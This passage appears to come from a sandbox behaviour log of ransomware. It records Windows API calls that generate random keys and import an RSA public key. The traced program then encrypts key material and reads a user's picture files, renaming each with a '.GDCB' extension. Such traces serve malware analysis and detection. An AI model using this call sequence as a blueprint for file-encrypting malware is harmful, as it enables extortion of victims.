pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.703] CryptEncrypt (in: hKey=0x28a86c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0141.704] GetLastError () returned 0x0 [0141.704] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.704] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\F_TF-DzzJpMT.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\f_tf-dzzjpmt.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0141.704] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.704] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.704] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x135c3, lpOverlapped=0x0) returned 1 [0141.718] VirtualAlloc (lpAddress=0x0, dwSize=0x135d0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.723] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\F_TF-DzzJpMT.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\f_tf-dzzjpmt.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\F_TF-DzzJpMT.jpg.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\f_tf-dzzjpmt.jpg.gdcb")) returned 1 [0141.725] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0141.726] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.726] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.726] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0141.726] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.726] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0141.727] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.727] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.727] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0141.727] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0141.727] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0141.731] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8640) returned 1 [0141.731] CryptGetKeyParam (in: hKey=0x28a8640, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.731] CryptEncrypt (in: hKey=0x28a8640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0141.731] GetLastError () returned 0x0 [0141.731] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.731] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0141.735] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8680) returned 1 [0141.735] CryptGetKeyParam (in: hKey=0x28a8680, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.735] CryptEncrypt (in: hKey=0x28a8680, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0141.735] GetLastError () returned 0x0 [0141.735] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.735] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\jyOHRPQ6E1yOr.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\jyohrpq6e1yor.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0141.735] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.736] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.736] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x10eed, lpOverlapped=0x0) returned 1 [0141.747] VirtualAlloc (lpAddress=0x0, dwSize=0x10ef0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.753] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\jyOHRPQ6E1yOr.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\jyohrpq6e1yor.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\jyOHRPQ6E1yOr.png.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\jyohrpq6e1yor.png.gdcb")) returned 1 [0141.754] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0141.755] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.755] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.755] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0141.755] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.755] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0141.756] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.756] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.756] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0141.757] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.757] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0141.761] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8180) returned 1 [0141.761] CryptGetKeyParam (in: hKey=0x28a8180, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.761] CryptEncrypt (in: hKey=0x28a8180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0141.761] GetLastError () returned 0x0 [0141.761] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.761] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0141.765] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8240) returned 1 [0141.765] CryptGetKeyParam (in: hKey=0x28a8240, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.765] CryptEncrypt (in: hKey=0x28a8240, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0141.765] GetLastError () returned 0x0 [0141.765] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.765] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\Sl5l.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\sl5l.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0141.765] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.765] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.765] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x14840, lpOverlapped=0x0) returned 1 [0141.778] VirtualAlloc (lpAddress=0x0, dwSize=0x14840, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.784] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\Sl5l.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\sl5l.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\Sl5l.jpg.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\sl5l.jpg.gdcb")) returned 1 [0141.784] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0141.784] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0141.784] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0141.784] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0141.811] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0141.812] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.812] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.812] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0141.812] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.812] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0141.814] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.814] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.814] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0141.814] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.814] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0141.818] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28a8700) returned 1 [0141.818] CryptGetKeyParam (in: hKey=0x28a8700, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0141.818] CryptEncrypt (in: hKey=0x28a8700, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0141.818] GetLastError () returned 0x0 [0141.818] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.818] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0141.822] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x3594d8) returned 1 [0141.822] CryptGetKeyParam (in: hKey=0x3594d8, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0141.822] CryptEncrypt (in: hKey=0x3594d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0141.822] GetLastError () returned 0x0 [0141.822] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.822] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\2OkDu2NHm-7zk1T.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\2okdu2nhm-7zk1t.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0141.822] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.823] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.823] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0x140b0, lpOverlapped=0x0) returned 1 [0141.834] VirtualAlloc (lpAddress=0x0, dwSize=0x140b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.839] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\2OkDu2NHm-7zk1T.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\2okdu2nhm-7zk1t.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\2OkDu2NHm-7zk1T.bmp.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\2okdu2nhm-7zk1t.bmp.gdcb")) returned 1 [0141.840] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0141.841] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.841] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.841] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0141.841] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.841] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0141.842] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.842] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.842] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0141.842] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.842] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed0e0) returned 1 [0141.846] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28a8740) returned 1 [0141.846] CryptGetKeyParam (in: hKey=0x28a8740, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0141.846] CryptEncrypt (in: hKey=0x28a8740, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0141.846] GetLastError () returned 0x0 [0141.846] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0141.847] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed300) returned 1 [0141.850] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x359558) returned 1 [0141.850] CryptGetKeyParam (in: hKey=0x359558, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0141.850] CryptEncrypt (in: hKey=0x359558, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0141.850] GetLastError () returned 0x0 [0141.850] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0141.850] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\G5FnSYH55eBrRD_erFyF.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\g5fnsyh55ebrrd_erfyf.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0141.851] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.851] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.851] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0x2a68, lpOverlapped=0x0) returned 1 [0141.860] VirtualAlloc (lpAddress=0x0, dwSize=0x2a70, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.865] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\G5FnSYH55eBrRD_erFyF.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\g5fnsyh55ebrrd_erfyf.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\G5FnSYH55eBrRD_erFyF.jpg.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\g5fnsyh55ebrrd_erfyf.jpg.gdcb")) returned 1 [0141.868] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0141.869] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.869] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.869] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0141.869] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.869] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0141.870] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.870] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.870] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0141.870] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0141.870] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecfd0) returned 1 [0141.874] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d1c0) returned 1 [0141.874] CryptGetKeyParam (in: hKey=0x37d1c0, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0141.874] CryptEncrypt (in: hKey=0x37d1c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0141.874] GetLastError () returned 0x0 [0141.874] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0141.874] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0141.878] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d000) returned 1 [0141.878] CryptGetKeyParam (in: hKey=0x37d000, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0141.878] CryptEncrypt (in: hKey=0x37d000, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0141.878] GetLastError () returned 0x0 [0141.878] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.878] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\kSYHI_Wa9bfsyy-Z.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\ksyhi_wa9bfsyy-z.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0141.878] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.879] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.879] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0x6e72, lpOverlapped=0x0) returned 1 [0141.890] VirtualAlloc (lpAddress=0x0, dwSize=0x6e80, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.894] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\kSYHI_Wa9bfsyy-Z.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\ksyhi_wa9bfsyy-z.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\kSYHI_Wa9bfsyy-Z.jpg.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\ksyhi_wa9bfsyy-z.jpg.gdcb")) returned 1 [0141.895] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0141.896] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.896] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.896] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0141.896] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.896] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0141.897] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.897] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.897] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0141.897] CryptReleaseContext (hProv=0x2ecc18, 